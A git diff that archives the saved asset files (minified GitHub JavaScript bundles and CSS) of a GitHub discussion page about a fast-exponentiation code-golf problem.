odules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link 